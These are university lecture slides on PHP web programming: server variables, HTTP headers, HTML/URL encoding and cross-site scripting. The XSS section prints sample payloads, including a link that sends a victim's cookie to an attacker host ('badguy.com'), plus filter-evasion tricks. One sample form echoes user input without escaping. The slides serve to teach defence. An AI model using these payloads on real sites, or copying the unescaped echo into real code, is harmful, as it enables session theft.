




ĐẠI HỌC BÁCH KHOA HÀ NỘI
VIỆN CÔNG NGHỆ THÔNG TIN VÀ TRUYỀN THÔNG

Chapter 13. Web Techniques and Security

Content

- 
1. Environment variables
 2. Setting Response Header
 3. Encoding and escaping
 4. Cross site scripting

1. Environment variables

- Server configuration and request information
 - form parameters
 - Cookies

can be accessible in three different ways from your PHP scripts.

- → Referred to as EGPCS (Environment, GET, POST, Cookies, and Server).

1.1. Global arrays

- If the **register_globals** option in *php.ini* is enabled (it is disabled by default), PHP creates a separate global variable for every form parameter, every piece of request information, and every server configuration value.
- This functionality is convenient but dangerous, as it lets the browser provide initial values for any of the variables in your program

1.1. Global arrays (2)

- `$_COOKIE`
 - Contains any cookie values passed as part of the request, where the keys of the array are the names of the cookies
- `$_GET`
 - Contains any parameters that are part of a GET request, where the keys of the array are the names of the form parameters
- `$_POST`
 - Contains any parameters that are part of a POST request, where the keys of the array are the names of the form parameters

1.1. Global arrays (2)

- `$_FILES`
 - Contains information about any uploaded files
- `$_SERVER`
 - Contains useful information about the web server, as described in the next section
- `$_ENV`
 - Contains the values of any environment variables, where the keys of the array are the names of the environment variables.

1.1. Global arrays (2)

- PHP also creates automatically
 - `$_REQUEST`
 - contains the elements of the `$_GET`, `$_POST`, and `$_COOKIE` arrays all in one array variable.
 - `$PHP_SELF`
 - holds the name of the current script, relative to the document root
 - can be also accessible as `$_SERVER['PHP_SELF']`

1.2. Server Information

- The `$_SERVER` array contains a lot of useful information from the web server
 - `SERVER_SOFTWARE`
 - A string that identifies the server (e.g., "Apache/1.3.33 (Unix) mod_perl/1.26 PHP/5.0.4").
 - `SERVER_NAME`
 - The hostname, DNS alias, or IP address for self-referencing URLs (e.g., "www.example.com").
 - `HTTP_USER_AGENT`
 - The string the browser used to identify itself (e.g., "Mozilla/5.0 (Windows 2000; U) Opera 6.0 [en]"“)

1.2. Server Information (2)

- `SERVER_PROTOCOL`
 - The name and revision of the request protocol (e.g., "HTTP/1.1").
- `SERVER_PORT`
 - The server port number to which the request was sent (e.g., "80").
- `REQUEST_METHOD`
 - The method the client used to fetch the document (e.g., "GET").
- `PHP_SELF`
 - holds the name of the current script, relative to the document root.


1.2. Server Information (3)

- QUERY_STRING
 - Everything after the ? in the URL (e.g., "name=Fred&age=35").
- REMOTE_HOST
 - The hostname of the machine that requested this page (e.g., "[dialup-192-168-0-1.example.com](#)"). If there's no DNS for the machine, this is blank and REMOTE_ADDR is the only information given.
- REMOTE_ADDR
 - A string containing the IP address of the machine that requested this page (e.g., "192.168.0.250").

Example

```
<html><head><title>Temperature Conversion</title></head>
<body>
<?php
    if ($_SERVER['REQUEST_METHOD'] == 'GET') {
        ?>
        <form action="<?php echo $_SERVER['PHP_SELF']?>" method="POST">
        Fahrenheit temperature: <input type="text" name="fahrenheit" /> <br />
        <input type="submit" name="Convert to Celsius!" />
        </form>
        <?php
            }
            elseif ($_SERVER['REQUEST_METHOD'] == 'POST') {
                $fahr = $_POST['fahrenheit'];
                $celsius = ($fahr - 32) * 5/9;
                printf("%.2f F is %.2f C", $fahr, $celsius);
            } else {
                die("This script only works with GET and POST requests.");
            } ?>
        </body> </html>
```

Result



Sticky form - Example

```
<html>
<head><title>Temperature Conversion</title></head>
<body>
<?php $fahr = $_GET['fahrenheit']; ?>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="GET">
    Fahrenheit temperature:
    <input type="text" name="fahrenheit"
        value="<?php echo $fahr ?>" />

    <br/>
    <input type="submit" name="Convert to Celsius!" />
</form>
<?php
    if (! is_null($fahr)) {
        $celsius = ($fahr - 32) * 5/9;
        printf("%.2fF is %.2fC", $fahr, $celsius);
    } ?>
</body>
</html>
```

Content

1. Environment variables




2. Setting Response Header

3. Encoding and escaping

4. Cross site scripting

2. Setting Response Header

HTTP Request




HTTP Response

- Send back something that's not HTML

- Set the expiration time for a page
- Redirect the client's browser
- Generate a specific HTTP error

→ Using `header()` function



2. Setting Response Header (2)

- All calls to `header()` (or `setcookie()`, if you're setting cookies) must happen before any of the body is generated
→ at the very top of your file, even before the `<html>` tag.

```
<?php
```

```
    header('Content-Type: text/plain');
```

```
?>
```

```
Date: today
```

```
From: fred
```

```
To: barney
```

```
Subject: hands off!
```

```
My lunchbox is mine and mine alone. Get your own,  
you filthy scrounger!
```


2.1. Different Content Types

- The Content-Type header identifies the type of document being returned.
 - "text/html " indicating an HTML document
 - "text/plain" forces the browser to treat the page as plain text. This type is like an automatic "view source," and it is useful when debugging.
 - "image/jpeg", "image/png": Image content
 - ...

2.2. Redirections

- Send the browser to a new URL, known as a *redirection* → set the Location header

```
<?php
    header('Location:
        http://www.example.com/elsewhere.html'
    );
    exit( );
?>
```

2.3. Expiration

- Proxy and browser caches can hold the document until a specific date and time (expire time/date)
- Repeated reloads of a cached document do not contact the server
- To set the expiration time of a document
 - **header('Expires: Fri, 18 Jan 2006 05:30:00 GMT');**

2.3. Expiration (2)

- To expire a document three hours from the time the page was generated

```
$now = time( );  
$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT",  
                    $now + 60*60*3);  
header("Expires: $then");
```

- To indicate that a document "never" expires, use the time a year from now

```
$now = time( );  
$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT",  
                    $now + 365*86400);  
header("Expires: $then");
```

2.3. Expiration (3)

- To mark a document as already expired, use the current time or a time in the past:

```
$then = gmstrftime("%a, %d %b %Y %H:%M:%S  
GMT");
```

```
header("Expires: $then");
```

- Prevent a browser or proxy cache from storing your document:

```
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
```

```
header("Last-Modified: ".gmdate("D, d M Y H:i:s")."  
GMT");
```

```
header("Cache-Control: no-store, no-cache, must-  
revalidate");
```

```
header("Cache-Control: post-check=0, pre-check=0",  
false);
```

```
header("Pragma: no-cache");
```

Content

1. Environment variables
2. Setting Response Header
- 3. Encoding and escaping
4. Cross site scripting

3. Encoding and escaping

- HTML, web page addresses, and database commands are all strings, but they each require different characters to be escaped in different ways.
 - a space in a web address must be written as %20,
 - a literal less-than sign (<) in an HTML document must be written as <
- PHP has a number of built-in functions to convert to and from these encodings

3.1. HTML Encoding

- Special characters in HTML are represented by entities such as & and <.
- There are two PHP functions that turn special characters in a string into their entities
 - htmlentities()
 - htmlspecialchars()

3.1.1. Entity-quoting all special characters

- `htmlspecialchars()`:

- Changes all characters with HTML entity equivalents into those equivalents (with the exception of the space character).
- `<` (`<`), `>` (`>`), `&` (`&`), and accented characters.
- E.g.

```
$string = htmlspecialchars("Einstürzende  
Neubauten");
```

```
echo $string;
```

→ The entity-escaped version (`ü`; seen by viewing the source) correctly displays as ü in the rendered web page

3.1.1. Entity-quoting all special characters (2)

- `htmlentities()` function actually takes up to three arguments:
- **`$output = htmlentities(input,
quote_style, charset);`**
 - *charset*: if given, identifies the character set (default is "ISO-8859-1")
 - *quote_style*: controls whether single and double quotes are turned into their entity forms.
 - ENT_COMPAT (the default) converts only double quotes,
 - ENT_QUOTES converts both types of quotes,
 - ENT_NOQUOTES converts neither

Example

```
$input = "Stop pulling my hair!" Jane's eyes flashed.<p>
```

```
$double = htmlentities($input);
```

```
//&quot;Stop pulling my hair!&quot; Jane's eyes  
    flashed.&lt;p&gt;
```

```
$both = htmlentities($input, ENT_QUOTES);
```

```
//&quot;Stop pulling my hair!&quot; Jane's eyes  
    flashed.&lt;p&gt;
```

```
$neither = htmlentities($input, ENT_NOQUOTES);
```

```
// "Stop pulling my hair!" Jane's eyes flashed.&lt;p&gt;
```

3.1.2. Entity-quoting only HTML syntax characters

- `htmlspecialchars()` function
 - converts the smallest set of entities possible to generate valid HTML.
 - `htmlspecialchars(input, [quote_style, [charset]])`;
 - The following entities are converted:
 - Ampersands (&) are converted to `&`;
 - Double quotes (") are converted to `"`;
 - Single quotes (') are converted to `'`; (if `ENT_QUOTES` is on, as described for `htmlentities()`).
 - Less-than signs (<) are converted to `<`;
 - Greater-than signs (>) are converted to `>`;
- E.g.
 - "angle < 30" or "sturm & drang"

3.1.3. Removing HTML tags

- The `strip_tags()` function removes HTML tags from a string:

- `$input = '<p>Howdy, "Cowboy";</p>';`
- `$output = strip_tags($input);`
- `// $output is 'Howdy, "Cowboy";'`

- The function may take a second argument that specifies a string of tags to leave in the string

```
$input = 'The <b>bold</b> tags will  
<i>stay</i><p>';
```

```
$output = strip_tags($input, '<b>');
```

```
// $output is 'The <b>bold</b> tags will stay'
```

3.2. URL encoding

- Convert to and from URL encoding, which allows you to build and decode URLs.
- Two types of URL encoding
 - Specified by RFC 1738: treats a space as just another illegal character in a URL and encodes it as %20.
 - Implementing the application/x-www-form-urlencoded system: encodes a space as a + and is used in building query strings.

3.2.1. RFC 1738 encoding and decoding

- **rawurlencode ()** : encode a string according to the URL conventions

```
$name = "Programming PHP";
```

```
$output = rawurlencode($name);
```

```
echo "http://localhost/$output";
```

→ Result: http://localhost/Programming%20PHP

- **rawurldecode ()** : decodes URL-encoded strings

```
$encoded = 'Programming%20PHP';
```

```
echo rawurldecode($encoded);
```

→ Result: Programming PHP

3.2.2. Query-string encoding and decoding

- **urlencode ()** and **urldecode ()**: encode and decode spaces as plus signs (+) instead of as the sequence %20.

→ useful for generating query strings:

- E.g.

```
$base_url = 'http://www.google.com/q=' ;  
$query = 'PHP sessions -cookies' ;  
$url = $base_url . urlencode($query) ;  
echo $url ;
```

→Result:

http://www.google.com/q=PHP+sessions+-
cookies

Content

1. Environment variables
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Three top web site vulnerabilities

- XSS – Cross-site scripting
 - Bad web site sends innocent victim a script that steals information from an honest web site
- CSRF – Cross-site request forgery
 - Bad web site sends browser request to good web site, using credentials of an innocent victim
- SQL Injection
 - Browser sends malicious input to server
 - Bad input checking leads to malicious SQL query

Three top web site vulnerabilities

- XSS – Cross-site scripting

Injects malicious script into trusted context

- Bad web site sends innocent victim a script that steals information from an honest web site

Leverages user's session at server

- CSRF – Cross-site request forgery

- Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site


Uses SQL

- SQL Injection

- Browser sends malicious input to server
 - Bad input checking leads to malicious SQL query

4. Cross site scripting

- Cross-site scripting (XSS)
 - most common web application security vulnerability
 - with the rising popularity of Ajax technologies, XSS attacks are likely to become more advanced and to occur more frequently
 - malicious user embeds HTML or other client-side script into your Web site



4. Cross site scripting (2)

- Example

- `<?php echo $_POST['username']; ?>`
- If value of username parameter is:
`<script type="text/javascript"> alert('This is an XSS Vulnerability') </script>`


What will happen?

- 2 types

- Reflected XSS
- Stored XSS

Javascript URL

javascript: alert(**document.cookie**)




Displays all cookies for current document

4.1. Reflected XSS

- Most common type of XSS and the easiest
- The attacker uses social engineering techniques to get a user to click on a link to your site. The link has malicious code embedded in it.
- Can be used to deliver a virus or malformed cookie or grab data from the user's system
- E.g. The malicious code would be tacked onto the end of a search link of Google's search.
- Solution: Validate the input before displaying any user-generated data

Basic scenario: reflected XSS attack



Bad input

- Consider link: (properly URL encoded)
`http://victim.com/search.php ? term =
 <script> window.open(
 "http://badguy.com?cookie = " +
 document.cookie) </script>`
- What if user clicks on this link?
 1. Browser goes to `victim.com/search.php`
 2. Victim.com returns
`<HTML> Results for <script> ... </script>`
 3. Browser executes script:
 - Sends `badguy.com` cookie for `victim.com`

PayPal 2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Source: <http://www.acunetix.com/news/paypal.htm>

Adobe PDF viewer “feature”

(version \leq 7.9)

- PDF documents execute JavaScript code

[http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:code here](http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:code_here)

The code will be executed in the context of the domain where the PDF files is hosted

This could be used against PDF files hosted on the local filesystem

<http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html>

Here's how the attack works:

- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion

`http://website.com/path/to/file.pdf#s=javascript:alert('xss');`

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

And if that doesn't bother you...

- PDF files on the local filesystem:


`file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");`

JavaScript Malware now runs in local context with the ability to read local files ...

4.2. Stored XSS

- Less common but far more devastating type of attack.
- Can affect any number of users
- Happens when users are allowed to input data that will get redisplayed, such as a message board, guestbook, etc.
- Malicious users put HTML or client-side code inside their post. This code is then stored in your application like any other post. Every time that data is accessed → attack
- Solution: Validate input

Stored XSS



MySpace.com (Samy worm)

- Users can post HTML on their pages
 - MySpace.com ensures HTML contains no
`<script>, <body>, onclick, `
 - ... but can do Javascript within CSS tags:
`<div style="background:url('javascript:alert(1)')">`
And can hide `"javascript"` as `"java\nscript"`
- With careful javascript hacking:
 - Samy worm infects anyone who visits an infected MySpace page ... and adds Samy as a friend.
 - Samy had millions of friends within 24 hours.

Stored XSS using images


Suppose `pic.jpg` on web server contains HTML !

- request for `http://site.com/pic.jpg` results in:



- IE will render this as HTML (despite Content-Type)
- Consider photo sharing sites that support image uploads
 - What if attacker uploads an “image” that is a script?

Untrusted script in Facebook apps



How to Protect Yourself

- Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.

Input data validation and filtering

- Never trust client-side data
 - Best: allow only what you expect
- Remove/encode special characters
 - Many encodings, special chars!
 - E.g., long (non-standard) UTF-8 encodings

Output filtering / encoding

- Remove / encode (X)HTML special chars
 - < for <, > for >, " for “ ...
- Allow only safe commands (e.g., no <script>...)
- Caution: `filter evasion` tricks
 - See XSS Cheat Sheet for filter evasion
 - E.g., if filter allows quoting (of <script> etc.), use malformed quoting: <SCRIPT>alert(“XSS”)...
 - Or: (long) UTF-8 encode, or...
- Caution: Scripts not only in <script>!

E.g. Escape your output

```
<?php
    $html = array( );
    $html['username'] =

        htmlentities($_POST['username'],
                      ENT_QUOTES, 'UTF-8');
    echo $html['username'];
?>
```

Question?

